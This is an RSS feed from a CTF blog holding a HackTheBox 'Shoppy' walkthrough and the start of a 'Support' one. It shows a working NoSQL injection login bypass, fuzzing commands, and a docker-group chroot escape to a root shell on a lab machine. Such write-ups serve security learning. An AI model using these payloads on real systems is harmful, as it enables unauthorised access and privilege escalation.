Jekyll2023-06-23T15:53:12+01:00https://pencer.io/feed.xmlpencer.ioHacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}Walk-through of Shoppy from HackTheBox2023-04-03T00:00:00+01:002023-04-03T00:00:00+01:00https://pencer.io/ctf/ctf-htb-shoppy<p><a href="https://www.hackthebox.com/home/machines/profile/496">Shoppy</a> is an easy level machine by <a href="https://www.hackthebox.com/home/users/profile/217870">lockscan</a> on <a href="https://www.hackthebox.com/home">HackTheBox</a>. It’s a Linux box looking at NoSQL injections and Docker exploits.</p>
<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2023-01-13-15-39-46.png" alt="support" /></p>
<p>This was a pretty simple box. It featured NoSQL injections, hash dumping, and exploitation of a custom binary to retrieve credentials for privilege escalation. From there we moved laterally then finally used a Docker exploit to spawn a root shell.</p>
<!--more-->
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/496">HTB - Easy - Shoppy</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>17th September 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>13th January 2023</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.4 – <a href="https://www.kali.org/blog/kali-linux-2022-4-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.180 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> shoppy 10.10.11.180
Starting Nmap 7.93 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2023-01-13 15:57 GMT
Nmap scan report <span class="k">for </span>10.10.11.180
Host is up <span class="o">(</span>0.029s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 <span class="o">(</span>protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 3072 9e5e8351d99f89ea471a12eb81f922c0 <span class="o">(</span>RSA<span class="o">)</span>
| 256 5857eeeb0650037c8463d7a3415b1ad5 <span class="o">(</span>ECDSA<span class="o">)</span>
|_ 256 3e9d0a4290443860b3b62ce9bd9a6754 <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open http nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain<span class="p">;</span> <span class="nv">version</span><span class="o">=</span>0.0.4<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
| Date: Fri, 13 Jan 2023 15:58:11 GMT
<SNIP>
|_ go_gc
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?
Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>101.39 seconds
</code></pre></div></div>
<p>We have a couple of ports open, and we can see a redirect to shoppy.htb. Let’s add that to our hosts file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# <span class="nb">echo</span> <span class="s2">"10.10.11.180 shoppy.htb"</span> <span class="o">>></span> /etc/hosts
</code></pre></div></div>
<p>Now have a look at the website:</p>
<p><img src="/assets/images/2023-01-13-16-06-37.png" alt="shoppy-website" /></p>
<p>There’s nothing here. If we try with curl to see the headers we find nothing useful:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shoppy]
└─# curl <span class="nt">-i</span> http://shoppy.htb
HTTP/1.1 200 OK
Server: nginx/1.23.1
Date: Sat, 21 Jan 2023 16:32:54 GMT
Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>UTF-8
Content-Length: 2178
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: public, max-age<span class="o">=</span>0
Last-Modified: Tue, 01 Feb 2022 09:38:44 GMT
ETag: W/<span class="s2">"882-17eb4a698a0"</span>
</code></pre></div></div>
<p>If we try with a non-existent sub folder we get an error message:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shoppy]
└─# curl http://shoppy.htb/pencer
<<span class="o">!</span>DOCTYPE html>
<html <span class="nv">lang</span><span class="o">=</span><span class="s2">"en"</span><span class="o">></span>
<<span class="nb">head</span><span class="o">></span>
<meta <span class="nv">charset</span><span class="o">=</span><span class="s2">"utf-8"</span><span class="o">></span>
<title>Error</title>
</head>
<body>
<pre>Cannot GET /pencer</pre>
</body>
</html>
</code></pre></div></div>
<p>If we paste that in to Google we get a clue that this is probably a NodeJS app:</p>
<p><img src="/assets/images/2023-01-21-16-36-58.png" alt="shoppy-google" /></p>
<h2 id="gobuster">Gobuster</h2>
<p>Let’s use gobuster to look for hidden subfolders:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# gobuster <span class="nb">dir</span> <span class="nt">-w</span> /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt <span class="nt">-u</span> http://shoppy.htb
<span class="o">===============================================================</span>
Gobuster v3.4
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> & Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url: http://shoppy.htb
<span class="o">[</span>+] Method: GET
<span class="o">[</span>+] Threads: 10
<span class="o">[</span>+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
<span class="o">[</span>+] Negative Status codes: 404
<span class="o">[</span>+] User Agent: gobuster/3.4
<span class="o">[</span>+] Timeout: 10s
<span class="o">===============================================================</span>
2023/01/13 16:15:26 Starting gobuster <span class="k">in </span>directory enumeration mode
<span class="o">===============================================================</span>
/images <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 179] <span class="o">[</span><span class="nt">--</span><span class="o">></span> /images/]
/login <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 1074]
/admin <span class="o">(</span>Status: 302<span class="o">)</span> <span class="o">[</span>Size: 28] <span class="o">[</span><span class="nt">--</span><span class="o">></span> /login]
/assets <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 179] <span class="o">[</span><span class="nt">--</span><span class="o">></span> /assets/]
/css <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 173] <span class="o">[</span><span class="nt">--</span><span class="o">></span> /css/]
/Login <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 1074]
/js <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 171] <span class="o">[</span><span class="nt">--</span><span class="o">></span> /js/]
/fonts <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 177] <span class="o">[</span><span class="nt">--</span><span class="o">></span> /fonts/]
/Admin <span class="o">(</span>Status: 302<span class="o">)</span> <span class="o">[</span>Size: 28] <span class="o">[</span><span class="nt">--</span><span class="o">></span> /login]
/exports <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 181] <span class="o">[</span><span class="nt">--</span><span class="o">></span> /exports/]
Progress: 87508 / 87665 <span class="o">(</span>99.82%<span class="o">)</span>
<span class="o">===============================================================</span>
2023/01/13 16:22:51 Finished
<span class="o">===============================================================</span>
</code></pre></div></div>
<p>We see a few, with login and admin which redirects to login being of interest. Let’s have a look:</p>
<p><img src="/assets/images/2023-01-13-16-24-30.png" alt="shoppy-login" /></p>
<p>We have a login page. The source code reveals nothing so we can assume this is either brute force or SQL injection. A Google of “nodejs database” shows us it could be MySQL or MongoDB. We’ve done plenty of SQLi in the past, <a href="https://pencer.io/ctf/ctf-htb-shared">Shared</a> and <a href="https://pencer.io/ctf/ctf-htb-faculty">Faculty</a> from last year spring to mind.</p>
<h2 id="nosql-injection">NoSQL Injection</h2>
<p>I got no where with SQLi and spent some time looking for resources to attack <a href="https://www.mongodb.com/nodejs-database">MongoDB with NodeJS</a>. <a href="https://nullsweep.com/a-nosql-injection-primer-with-mongo/">This</a> from Null Sweep turned out to be the one to help. I had a look in seclists:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shoppy]
└─# <span class="nb">grep</span> <span class="nt">-r</span> <span class="nv">1</span><span class="o">==</span>1 <span class="k">*</span>
NoSQL.txt:|| <span class="nv">1</span><span class="o">==</span>1
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shoppy]
└─# <span class="nb">wc</span> <span class="nt">-l</span> /usr/share/seclists/Fuzzing/Databases/NoSQL.txt
22 /usr/share/seclists/Fuzzing/Databases/NoSQL.txt
</code></pre></div></div>
<p>There’s a NoSQL one with 22 variations, including those mentioned by Null Sweep, so time to fire up Burp. First capture a login request and send to Intruder, notice I added the username of admin in front of the fuzz variable:</p>
<p><img src="/assets/images/2023-01-21-16-28-41.png" alt="shoppy-burp-intruder" /></p>
<p>Load the Seclist NoSQL payload in:</p>
<p><img src="/assets/images/2023-01-21-16-29-20.png" alt="shoppy-burp=intruder=payload" /></p>
<p>Start the attack and eventually find that one of them gives you a redirect to admin:</p>
<p><img src="/assets/images/2023-01-21-16-31-01.png" alt="shoppy-burp-intruder-attack" /></p>
<p>We can check it with curl as well, make sure you escape the apostrophe’s:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shoppy]
└─# curl <span class="nt">--data-binary</span> <span class="s1">$'username=admin</span><span class="se">\'</span><span class="s1">||</span><span class="se">\'</span><span class="s1">a</span><span class="se">\'</span><span class="s1">==</span><span class="se">\'</span><span class="s1">a&password=admin'</span> http://shoppy.htb/login
Found. Redirecting to /admin
</code></pre></div></div>
<p>We could have used wfuzz instead of Burp to look for the NoSQLi if we had wanted as well:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shoppy]
└─# wfuzz <span class="nt">-v</span> <span class="nt">-c</span> <span class="nt">-z</span> file,/usr/share/seclists/Fuzzing/Databases/NoSQL.txt <span class="nt">-d</span> <span class="s2">"username=adminFUZZ&password=admin"</span> http://shoppy.htb/login
<span class="k">********************************************************</span>
<span class="k">*</span> Wfuzz 3.1.0 - The Web Fuzzer <span class="k">*</span>
<span class="k">********************************************************</span>
Target: http://shoppy.htb/login
Total requests: 22
<span class="o">==============================================================================================================</span>
ID C.Time Response Lines Word Chars Server Redirect Payload
<span class="o">==============================================================================================================</span>
000000019: 0.084s 400 0 L 2 W 11 Ch nginx/1.23.1 <span class="s2">"[</span><span class="nv">$ne</span><span class="s2">]=1"</span>
000000022: 0.138s 302 0 L 4 W 51 Ch nginx/1.23.1 /login?error<span class="o">=</span>WrongCredentials <span class="s2">"{</span><span class="nv">$nin</span><span class="s2">: [""]}}"</span>
000000018: 0.142s 302 0 L 4 W 51 Ch nginx/1.23.1 /login?error<span class="o">=</span>WrongCredentials <span class="s2">"{"</span><span class="nv">$gt</span><span class="s2">": ""}"</span>
000000006: 0.036s 302 0 L 4 W 51 Ch nginx/1.23.1 /login?error<span class="o">=</span>WrongCredentials <span class="s2">"{ </span><span class="nv">$ne</span><span class="s2">: 1 }"</span>
000000012: 0.032s 302 0 L 4 W 28 Ch nginx/1.23.1 /admin <span class="s2">"' || 'a'=='a"</span>
</code></pre></div></div>
<p>From the Wfuzz output we can see the last payload worked and we were redirected to /admin just like it did with Burp.</p>
<p>If we login through Firefox we see a simple single page app:</p>
<p><img src="/assets/images/2023-01-22-14-58-33.png" alt="shoppy-app" /></p>
<p>There’s nothing here but a search button to look for users, click that and enter our admin user, then click the download export button:</p>
<p><img src="/assets/images/2023-01-22-15-01-40.png" alt="shoppy-admin-json" /></p>
<table>
<tbody>
<tr>
<td>We have the hash of the admin password, but trying to crack it with John or on <a href="https://crackstation.net/">CrackStation</a> doesn’t work. However if we paste admin with our NoSQLi appended the same as we used to login **(admin’</td>
<td> </td>
<td>‘a’==’a)** we get something more interesting:</td>
</tr>
</tbody>
</table>
<p><img src="/assets/images/2023-01-22-15-08-27.png" alt="shoppy-both-json" /></p>
<p>Our NoSQLi bypass also works on the search so we can see all users. This time the password can be cracked:</p>
<p><img src="/assets/images/2023-01-22-15-07-35.png" alt="shoppy-pass-crack" /></p>
<p>Logging in to the app as Josh works, but we there is nothing more to look at in there.</p>
<h2 id="mattermost">Mattermost</h2>
<p>Let’s go back to more enumeration and look for subdomains with wfuzz:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shoppy]
└─# wfuzz <span class="nt">-c</span> <span class="nt">--hc</span><span class="o">=</span>404,301 <span class="nt">-t</span> 200 <span class="nt">-w</span> /usr/share/seclists/Discovery/DNS/combined_subdomains.txt <span class="nt">-u</span> http://shoppy.htb <span class="nt">-H</span> <span class="s2">"Host:FUZZ.shoppy.htb"</span>
<span class="k">********************************************************</span>
<span class="k">*</span> Wfuzz 3.1.0 - The Web Fuzzer <span class="k">*</span>
<span class="k">********************************************************</span>
Target: http://shoppy.htb/
Total requests: 648201
<span class="o">=====================================================================</span>
ID Response Lines Word Chars Payload
<span class="o">=====================================================================</span>
000000002: 200 0 L 141 W 3122 Ch <span class="s2">"mattermost"</span>
</code></pre></div></div>
<p>We found a subdomain, let’s add it to out hosts file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# <span class="nb">sed</span> <span class="nt">-i</span> <span class="s1">'/10.10.11.180 shoppy.htb/ s/$/ mattermost.shoppy.htb/'</span> /etc/hosts
</code></pre></div></div>
<p>If we have a look we find a login page, and our credentials for Josh work:</p>
<p><img src="/assets/images/2023-01-22-16-55-35.png" alt="shoppy-mattermost" /></p>
<p>Now we are inside <a href="https://mattermost.com/">Mattermost</a> which is a collaboration platform. There’s not a lot here, apart from a cat picture, and some talk about developing a password manager. In the Deploy Machine channel we find credentials:</p>
<p><img src="/assets/images/2023-01-22-17-01-15.png" alt="shoppy-deploy-creds" /></p>
<h2 id="user-flag">User Flag</h2>
<p>These work if we try to SSH in with jaeger and Sh0ppyBest@pp!:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shoppy]
└─# ssh jaeger@shoppy.htb
jaeger@shoppy.htbs password:
Linux shoppy 5.10.0-18-amd64 <span class="c">#1 SMP Debian 5.10.140-1 (2022-09-02) x86_64</span>
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jaeger@shoppy:~<span class="err">$</span>
</code></pre></div></div>
<p>Let’s grab the user flag:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jaeger@shoppy:~<span class="nv">$ </span><span class="nb">cat </span>user.txt
c3953863c6dccf6fadc1b32df5dbcd0f
</code></pre></div></div>
<h2 id="password-manager">Password Manager</h2>
<p>Just like we always do, first a few simple checks before we pull LinPEAS or similar over. SUDO is number one, especially on Easy boxes:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jaeger@shoppy:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>jaeger:
Matching Defaults entries <span class="k">for </span>jaeger on shoppy:
env_reset, mail_badpass, <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin
User jaeger may run the following commands on shoppy:
<span class="o">(</span>deploy<span class="o">)</span> /home/deploy/password-manager
</code></pre></div></div>
<p>Unsurprisingly we find our user jaeger can run something as a different user. This time it’s the password manager that was mentioned earlier.</p>
<p>We can run it but find it doesn’t do a lot:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jaeger@shoppy:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-u</span> deploy /home/deploy/password-manager
<span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>jaeger:
Welcome to Josh password manager!
Please enter your master password: password
Access denied! This incident will be reported <span class="o">!</span>
</code></pre></div></div>
<p>Before we pull the binary down to Kali to have a look with Ghidra or IDA we can first check if anything is leaked using strings:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jaeger@shoppy:~<span class="nv">$ </span>strings /home/deploy/password-manager
/lib64/ld-linux-x86-64.so.2
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
_ZNSaIcED1Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
_ZSt3cin
<SNIP>
</code></pre></div></div>
<p>Nothing interesting with the default encoding, but always remember to check the others, like we did on <a href="https://pencer.io/ctf/ctf-htb-scrambled">Scrambled</a>.</p>
<p>If you look at the options you’ll see the choices:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-e</span> <span class="nt">--encoding</span><span class="o">={</span>s,S,b,l,B,L<span class="o">}</span> Select character size and endianness:
s <span class="o">=</span> 7-bit, S <span class="o">=</span> 8-bit, <span class="o">{</span>b,l<span class="o">}</span> <span class="o">=</span> 16-bit, <span class="o">{</span>B,L<span class="o">}</span> <span class="o">=</span> 32-bit
</code></pre></div></div>
<p>We can do a simple loop in bash to try all encodings, then have a look at the output:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jaeger@shoppy:~<span class="nv">$ array</span><span class="o">=(</span> s S b l B L <span class="o">)</span>
jaeger@shoppy:~<span class="nv">$ </span><span class="k">for </span>i <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">array</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do </span>strings <span class="nt">-e</span><span class="s2">"</span><span class="nv">$i</span><span class="s2">"</span> /home/deploy/password-manager<span class="p">;</span> <span class="k">done</span>
/lib64/ld-linux-x86-64.so.2
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
_ZNSaIcED1Ev
<SNIP>
.dynamic
.got.plt
.data
.bss
.comment
���o
���o
���o
Sample
Sample
</code></pre></div></div>
<p>That repeated word is interesting, if we check we see it’s the only output from 16-bit encoding (that’s b or l):</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jaeger@shoppy:~<span class="nv">$ </span>strings <span class="nt">--encoding</span><span class="o">=</span>b /home/deploy/password-manager
Sample
</code></pre></div></div>
<p>If we try that with the program we get a result:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jaeger@shoppy:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-u</span> deploy /home/deploy/password-manager
<span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>jaeger:
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds <span class="o">!</span>
Deploy Creds :
username: deploy
password: Deploying@pp!
</code></pre></div></div>
<h2 id="deploy-user">Deploy User</h2>
<p>We have creds for the deploy user, let’s drop out of this session and start one as that user:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shoppy]
└─# ssh deploy@shoppy.htb
deploy@shoppy.htbs password:
Linux shoppy 5.10.0-18-amd64 <span class="c">#1 SMP Debian 5.10.140-1 (2022-09-02) x86_64</span>
Last login: Thu Jan 26 08:00:10 2023 from 10.10.14.42
</code></pre></div></div>
<p>Looking at the user we see we’re in a group called docker:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1001<span class="o">(</span>deploy<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1001<span class="o">(</span>deploy<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1001<span class="o">(</span>deploy<span class="o">)</span>,998<span class="o">(</span>docker<span class="o">)</span>
</code></pre></div></div>
<p>That should get your spidey senses tingling!</p>
<h2 id="docker">Docker</h2>
<p>If you need a cheat sheet, <a href="https://dockerlabs.collabnix.com/docker/cheatsheet/">this</a> is a good one. We can have a look at the installed version of docker, containers and images:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>docker version
Client: Docker Engine - Community
Version: 20.10.18
API version: 1.41
Go version: go1.18.6
Git commit: b40c2f6
Built: Thu Sep 8 23:12:08 2022
OS/Arch: linux/amd64
Context: default
Experimental: <span class="nb">true
</span>Server: Docker Engine - Community
Engine:
Version: 20.10.18
API version: 1.41 <span class="o">(</span>minimum version 1.12<span class="o">)</span>
Go version: go1.18.6
Git commit: e42327a
Built: Thu Sep 8 23:09:59 2022
OS/Arch: linux/amd64
Experimental: <span class="nb">false
</span>containerd:
Version: 1.6.8
GitCommit: 9cd3357b7fd7218e4aec3eae239db1f68a5a6ec6
runc:
Version: 1.1.4
GitCommit: v1.1.4-0-g5fd4c4d
docker-init:
Version: 0.19.0
GitCommit: de40ad0
<span class="nv">$ </span>docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<span class="nv">$ </span>docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 6 months ago 5.53MB
</code></pre></div></div>
<p>So we can see there are no containers running currently but we have an image called alpine. There’s a well known exploit that GTFOBins covers <a href="https://gtfobins.github.io/gtfobins/docker/">here</a>, from there we can spawn a root shell using this:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>docker run <span class="nt">-v</span> /:/mnt <span class="nt">--rm</span> <span class="nt">-it</span> alpine <span class="nb">chroot</span> /mnt sh
</code></pre></div></div>
<h2 id="root-flag">Root Flag</h2>
<p>We don’t need sudo because our user already has rights:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>docker run <span class="nt">-v</span> /:/mnt <span class="nt">--rm</span> <span class="nt">-it</span> alpine <span class="nb">chroot</span> /mnt sh
<span class="c"># id</span>
<span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>,1<span class="o">(</span>daemon<span class="o">)</span>,2<span class="o">(</span>bin<span class="o">)</span>,3<span class="o">(</span>sys<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,6<span class="o">(</span>disk<span class="o">)</span>,10<span class="o">(</span>uucp<span class="o">)</span>,11,20<span class="o">(</span>dialout<span class="o">)</span>,26<span class="o">(</span>tape<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>
</code></pre></div></div>
<p>Let’s grab the root flag:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># cd root</span>
<span class="c"># cat root.txt</span>
f2348e2be3d1990f4a8429f60461f735
</code></pre></div></div>
<p>All done. That was a nice simple box, hope you learnt something and see you next time.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}Shoppy is an easy level machine by lockscan on HackTheBox. It’s a Linux box looking at NoSQL injections and Docker exploits. Machine Information This was a pretty simple box. It featured NoSQL injections, hash dumping, and exploitation of a custom binary to retrieve credentials for privilege escalation. From there we moved laterally then finally used a Docker exploit to spawn a root shell.Walk-through of Support from HackTheBox2023-03-26T00:00:00+00:002023-03-26T00:00:00+00:00https://pencer.io/ctf/ctf-htb-support<p><a href="https://www.hackthebox.com/home/machines/profile/484">Support</a> is an easy level machine by <a href="https://www.hackthebox.com/home/users/profile/4935">0xdf</a> on <a href="https://www.hackthebox.com/home">HackTheBox</a>. This Windows box explores the risks of insecure permissions in an Active Directory environment.</p>
<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2022-08-06-16-10-57.png" alt="support" /></p>
<p>On this box we start with an open file share where we find an interesting file. Reversing it we retrieve a password which lets us use Kerbrute and Ldapdomaindump to eventually enumerate Active Directory. More credentials are found and used with BloodHound to find our attack path to root is via resource based constrained delegation.</p>
<!--more-->
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/484">HTB - Easy - Support</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>30th July 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>10th August 2022</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.2 – <a href="https://www.kali.org/blog/kali-linux-2022-2-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.174 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/support]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> support 10.10.11.174
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-08-06 16:08 BST
Nmap scan report <span class="k">for </span>10.10.11.174
Host is up <span class="o">(</span>0.029s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos <span class="o">(</span>server <span class="nb">time</span>: 2022-08-06 15:08:38Z<span class="o">)</span>
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: support.htb0., Site: Default-First-Site-Name<span class="o">)</span>
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
